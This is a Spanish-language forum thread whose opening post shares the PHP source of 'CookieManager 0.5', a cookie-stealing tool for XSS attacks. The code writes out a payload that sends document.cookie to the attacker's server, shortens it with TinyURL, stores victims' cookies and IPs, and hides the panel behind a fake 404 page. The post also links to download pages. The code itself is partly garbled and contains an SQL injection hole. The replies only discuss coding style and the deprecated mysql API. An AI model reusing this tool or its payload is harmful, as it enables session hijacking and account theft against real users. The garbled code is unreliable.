Título: [PHP] CookieManager 0.5
Publicado por: BigBear en 6 Febrero 2015, 17:46 pm
Un simple programa en PHP para ayudar con la vulnerabilidad XSS , en este programa tienen las siguientes opciones : - Cookie Stealer con generador de TinyURL
- Pueden ver los cookies que les devuelve una pagina
- Pueden crear cookies con los datos que quieran
- Panel oculto con login para entrar usen ?poraca para encontrar al login
Un video con ejemplos de uso : AP-2bkeFjpc El codigo : <?php // CookieManager 0.5 // (C) Doddy Hackman 2015 //Datos para el login $username = "admin"; $password = "21232f297a57a5a743894a0e4a801fc3"; //admin // //Datos para la DB $host = "localhost"; $userw = "root"; $passw = ""; $db = "cookies"; // // Functions function hex_encode($text) { return $texto = '%' . substr($texto, 0, strlen($texto) - 1); } function parsear_cookie($leyendo) { $contenido = explode(";", $leyendo); $nombre = ""; $valor_cookie = ""; $expires = ""; $path = ""; $domain = ""; $secure = "false"; $httponly = "false"; foreach ($contenido as $valor) { if (preg_match("/expires=(.*)/", $valor, $regex)) { $expires = $regex[1]; } elseif (preg_match("/path=(.*)/", $valor, $regex)) { $path = $regex[1]; } elseif (preg_match("/domain=(.*)/", $valor, $regex)) { $domain = $regex[1]; } elseif (preg_match("/secure=(.*)/", $valor, $regex)) { $secure = $regex[1]; } elseif (preg_match("/httponly=(.*)/", $valor, $regex)) { $httponly = $regex[1]; } else { $nombre = $regex[1]; $valor_cookie = $regex[2]; } } } $nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly ); } function ver_cookies_de_pagina($pagina) { $cookies = ""; 'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0' ) ); foreach ($http_response_header as $valores) { $cookies = $cookies . $valores . "<br>"; } } } else { curl_setopt($nave, CURLOPT_USERAGENT , "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"); foreach ($leyendo as $valores) { $cookies = $cookies . $valores . "<br>"; } } } return $cookies; } function toma($target) { $code = ""; curl_setopt($nave, CURLOPT_USERAGENT , 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'); } else { 'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0' ) ); } return $code; } // if (isset($_GET['id'])) { if (empty($_GET['id'])) { error(); } if ($ip == "::1") { $ip = "127.0.0.1"; } mysql_query("INSERT INTO todo(id,fecha,ip,info,cookie) values(NULL,'$dia','$ip','$info','$cookie')"); header("Location:http://www.google.com.ar"); } elseif (isset($_COOKIE['portal'])) { $user = $plit[0]; $pass = $plit[1]; if ($user == $username and $pass == $password) { if (isset($_POST['makecookies'])) { //setcookie($_POST['name_cookie'],$_POST['value_cookie'],$_POST['expire_cookie'],$_POST['path_cookie'],$_POST['domain_cookie'],$_POST['secure_cookie'],$_POST['httponline_cookie'])) { if (setcookie($_POST['name_cookie'], $_POST['value_cookie'], time() + 7200, $_POST['path_cookie'], $_POST['domain_cookie'])) { echo "<script>alert('Cookies Maked');</script>"; } else { echo "<script>alert('Error making Cookie');</script>"; } } echo "<title>CookieManager 0.3</title>"; echo "<STYLE type=text/css> body,a:link { background-color: #000000; color:orange; Courier New; cursor:crosshair; font-size: small; } input,table.outset,table.bord,table,textarea,select,fieldset,td,tr { font: normal 10px Verdana, Arial, Helvetica, sans-serif; background-color:black; color:orange; border: solid 1px orange; border-color:orange } a:link,a:visited,a:active { color: orange; font: normal 10px Verdana, Arial, Helvetica, sans-serif; text-decoration: none; } </style> "; $edit_name = ""; $edit_value = ""; $edit_expire = ""; $edit_path = ""; $edit_domain = ""; $edit_secure = ""; $edit_httponline = ""; if (isset($_POST['instalar'])) { $todo = "create table todo ( id int(10) UNSIGNED NOT NULL AUTO_INCREMENT, fecha TEXT NOT NULL, ip TEXT NOT NULL, info TEXT NOT NULL, cookie TEXT NOT NULL, PRIMARY KEY (id)); "; echo "<script>alert('Installed');</script>"; } else { echo "<script>alert('Error');</script>"; } } // if (isset($_GET['del'])) { if (@mysql_query("delete from todo where id='" . $_GET['del'] . "'")) { echo "<script>alert('Deleted');</script>"; } else { echo "<script>alert('Error');</script>"; } } } echo "<center>"; echo "<br><h1>CookieManager</h1><br>"; // Cookies Found $re = mysql_query("select * from todo order by id ASC"); if ($con == 0) { echo "<script>alert('Cookies not found');</script>"; } else { echo "<table border=1 width=1100><td width=1100><center><h2>Cookies Found : $con</h2></center></table>"; echo "<table border=1 width=1100>"; echo "<td><b>ID</b></td><td><b>Date</b></td><td><b>IP</b></td><td><b>Data</b></td><td><b>Cookie</b></td><td><b>Name</b></td><td><b>Value</b></td><td><b>Option</b></td><tr>"; $cookies_view = $ver[4]; list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie ($cookies_view); } echo "</table>"; } // // Form para target echo " <form action='' method=POST> <center><br><table border=1> <td><center><h2>Enter Target</h2></center></td><tr> <td><input type=text size=50 name=target value='http://localhost/dhlabs/xss/index.php?msg='=></td><tr> <td><input type=submit name=getcookies style='height: 25px; width: 100px' value='Get Cookies'><input type=submit name=generateurl style='height: 25px; width: 100px' value=Generate URL></td> </table></center> </form> "; // URLS if (isset($_POST['generateurl'])) { echo "<br><table border=1> <td><center><h2>URL Generated</h2></center></td><tr> <td><textarea cols=50 name=code readonly>\n"; $script = hex_encode("<script>document.location='http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?id='+document.cookie;</script>"); //echo "http://tinyurl.com/api-create.php?url=".$_POST['target'].$script."\n"; $resultado_code = toma("http://tinyurl.com/api-create.php?url=" . $_POST['target'] . $script); echo "\n</textarea></td></table>"; } // // Get Cookies if (isset($_POST['getcookies'])) { echo "<br><table border=1> <td><center><h2>Console</h2></center></td><tr> <td><textarea cols=50 rows=10 name=code readonly>\n"; $resultado_code = ver_cookies_de_pagina($_POST['target']); echo "\n</textarea></td></table>"; $leyendo_esto = split("\n", $resultado_code); list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie ($leyendo_esto[0]); $edit_name = $nombre; $edit_value = $valor_cookie; $edit_expire = $expires; $edit_path = $path; $edit_domain = $domain; $edit_secure = $secure; $edit_httponline = $httponly; } // // Form para crear cookies echo " <form action='' method=POST> <center><br><table border=1> <td><center><h2>Cookies Maker</h2></center></td><tr> <td>Name : <input type=text size=50 name=name_cookie value='$edit_name'=></td><tr> <td>Value : <input type=text size=50 name=value_cookie value='$edit_value'=></td><tr> <td>Expires : <input type=text size=50 name=expire_cookie value='$edit_expire'=></td><tr> <td>Path : <input type=text size=50 name=path_cookie value='$edit_path'=></td><tr> <td>Domain : <input type=text size=50 name=domain_cookie value='$edit_domain'=></td><tr> <td>Secure : <input type=text size=50 name=secure_cookie value='$edit_secure'=></td><tr> <td>HTTP Online : <input type=text size=50 name=httponline_cookie value='$edit_httponline'=></td><tr> <td><input type=submit name=makecookies style='height: 25px; width: 100px' value='Make Cookies'></td> </table></center> </form>"; // // echo "<br><h1>(C) Doddy Hackman 2015</h1><br><br>"; // } else { echo " <center><br><br> <form action='' method=POST> <h2>Deseas instalar CookieManager ?</h2><br><br> <input type=submit name=instalar value=Instalar> </form>"; } } } elseif (isset($_POST['login'])) { if ($_POST['user'] == $username and md5($_POST['password']) == $password) { echo "<script>alert('Welcome idiot');</script>"; echo '<meta http-equiv="refresh" content=0;URL=>'; } else { echo "<script>alert('Continued to participate');</script>"; } } elseif (isset($_GET['poraca'])) { echo " <STYLE type='text/css'> body,input { background-color: #000000; color:orange; font-family: Courier New; cursor:crosshair; font-size: small; } </style> <h1><br><center><font color=green>Login</font></center></h1> <br><br><center> <form action='' method=POST> Username : <input type=text name=user><br> Password : <input type=password name=password><br><br> <input type=submit name=login value=Enter><br> </form> </center><br><br>"; } else { error(); } function error() { echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> </body></html>'; } // The End ? ?>
Si quieren bajar el programa lo pueden hacer de aca : SourceForge (https://sourceforge.net/projects/cookiestealer/). Github (https://github.com/DoddyHackman/Cookie_Stealer).
Título: Re: [PHP] CookieManager 0.5
Publicado por: #!drvy en 11 Febrero 2015, 20:48 pm
Si se permiten criticas para la siguiente version :P - No uses mysql_ esta obsoleto. Intenta usar mysqli o PDO.
- Saca el HTML de PHP.. imprimiendo todo con echo pierdes mucho rendimiento.
- Intenta no forzar configuraciones. Hazlos aleatorios o a elección del usuario (o mejor aun.. ambas). Por ejemplo el user-agent.
Saludos
Título: Re: [PHP] CookieManager 0.5
Publicado por: BigBear en 11 Febrero 2015, 22:25 pm
ok , gracias por las sugerencias.
PD: la siguiente version hace tiempo que esta terminada donde cambie totalmente el diseño y fixee los 30 XSS que tiene esta version xD.
Título: Re: [PHP] CookieManager 0.5
Publicado por: ElP4nd4N3gro en 12 Febrero 2015, 01:03 am
Qué bueno! sigue así.
De obsoleta MySQL nada.. si aún hay empresas en españa que programan en cobol xD
Título: Re: [PHP] CookieManager 0.5
Publicado por: #!drvy en 12 Febrero 2015, 01:08 am
De obsoleta MySQL nada.. si aún hay empresas en españa que programan en cobol xD Me referia a la API... Warning - This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. PD: El hecho de que las empresas usen un dado lenguaje/programa/driver/SO no quiere decir que este no este obsoleto. Saludos
Título: Re: [PHP] CookieManager 0.5
Publicado por: ElP4nd4N3gro en 12 Febrero 2015, 02:05 am
Me referia a la API...
PD: El hecho de que las empresas usen un dado lenguaje/programa/driver/SO no quiere decir que este no este obsoleto.
Saludos
Por su puesto que no, no quería decir eso. Solo qué dado el poco interés por la seguridad en muchas empresas junto con el alto coste a todos los niveles de las migraciones a sistemas actuales, estos mientras sigan funcionando se suelen dejar cómo están. y lo que en teoría se queda viejo en la vida real sigue siendo el día a día. no sé si me explico.. bueno un saludo!!
Título: Re: [PHP] CookieManager 0.5
Publicado por: engel lex en 12 Febrero 2015, 18:45 pm
Por su puesto que no, no quería decir eso. Solo qué dado el poco interés por la seguridad en muchas empresas junto con el alto coste a todos los niveles de las migraciones a sistemas actuales, estos mientras sigan funcionando se suelen dejar cómo están.
y lo que en teoría se queda viejo en la vida real sigue siendo el día a día. no sé si me explico.. bueno un saludo!!
en un proyecto activo, si es obsoleta o no, no lo dicen los usuarios, lo dicen los desarrolladores... http://php.net/manual/en/function.mysql-connect.php (http://php.net/manual/en/function.mysql-connect.php) lee el gran aviso rojo... en 5.5.0 será removido...
|